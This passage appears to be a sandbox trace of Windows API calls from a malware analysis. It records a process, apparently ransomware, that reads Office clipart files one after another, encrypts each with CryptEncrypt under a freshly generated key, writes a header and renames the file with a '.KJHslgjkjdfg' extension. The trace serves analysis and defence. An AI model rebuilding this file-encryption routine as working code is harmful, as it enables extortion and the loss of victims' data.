pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.826] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x477c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x477c, lpOverlapped=0x0) returned 1 [0204.828] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4780, dwBufLen=0x4780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4780) returned 1 [0204.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.828] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4780, lpOverlapped=0x0) returned 1 [0204.829] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.829] SetEndOfFile (hFile=0x130) returned 1 [0204.832] GetProcessHeap () returned 0x990000 [0204.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.832] GetProcessHeap () returned 0x990000 [0204.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.kjhslgjkjdfg")) returned 1 [0204.834] CloseHandle (hObject=0x130) returned 1 [0204.834] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0204.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.838] GetProcessHeap () returned 0x990000 [0204.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.839] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.839] GetProcessHeap () returned 0x990000 [0204.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.839] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.839] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.839] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.842] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.842] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.842] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x530, lpOverlapped=0x0) returned 1 [0204.842] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x530, dwBufLen=0x530 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x530) returned 1 [0204.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.843] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x530, lpOverlapped=0x0) returned 1 [0204.843] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.843] SetEndOfFile (hFile=0x130) returned 1 [0204.851] GetProcessHeap () returned 0x990000 [0204.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.851] GetProcessHeap () returned 0x990000 [0204.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.kjhslgjkjdfg")) returned 1 [0204.853] CloseHandle (hObject=0x130) returned 1 [0204.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0204.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.855] GetProcessHeap () returned 0x990000 [0204.855] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.855] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.855] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.857] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.857] GetProcessHeap () returned 0x990000 [0204.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.857] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.857] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.857] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.858] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.858] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.858] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.858] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.858] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.858] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7d14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7d14, lpOverlapped=0x0) returned 1 [0204.859] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d20, dwBufLen=0x7d20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d20) returned 1 [0204.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.860] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7d20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7d20, lpOverlapped=0x0) returned 1 [0204.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.860] SetEndOfFile (hFile=0x130) returned 1 [0204.863] GetProcessHeap () returned 0x990000 [0204.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.863] GetProcessHeap () returned 0x990000 [0204.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.kjhslgjkjdfg")) returned 1 [0204.866] CloseHandle (hObject=0x130) returned 1 [0204.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0204.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.868] GetProcessHeap () returned 0x990000 [0204.868] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.868] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.868] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.870] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.870] GetProcessHeap () returned 0x990000 [0204.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.870] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.870] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.870] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.871] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.871] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.871] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.871] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.871] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.871] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x64c, lpOverlapped=0x0) returned 1 [0204.871] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x650, dwBufLen=0x650 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x650) returned 1 [0204.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.872] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x650, lpOverlapped=0x0) returned 1 [0204.872] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.872] SetEndOfFile (hFile=0x130) returned 1 [0204.874] GetProcessHeap () returned 0x990000 [0204.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.874] GetProcessHeap () returned 0x990000 [0204.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.kjhslgjkjdfg")) returned 1 [0204.883] CloseHandle (hObject=0x130) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0204.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.885] GetProcessHeap () returned 0x990000 [0204.885] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.885] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.885] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.887] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.887] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.887] GetProcessHeap () returned 0x990000 [0204.888] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.888] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.888] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.888] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.888] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.888] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.888] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.888] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.888] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.888] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.888] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7658, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7658, lpOverlapped=0x0) returned 1 [0204.890] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7660, dwBufLen=0x7660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7660) returned 1 [0204.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.890] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7660, lpOverlapped=0x0) returned 1 [0204.890] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.891] SetEndOfFile (hFile=0x130) returned 1 [0204.894] GetProcessHeap () returned 0x990000 [0204.894] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.894] GetProcessHeap () returned 0x990000 [0204.894] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 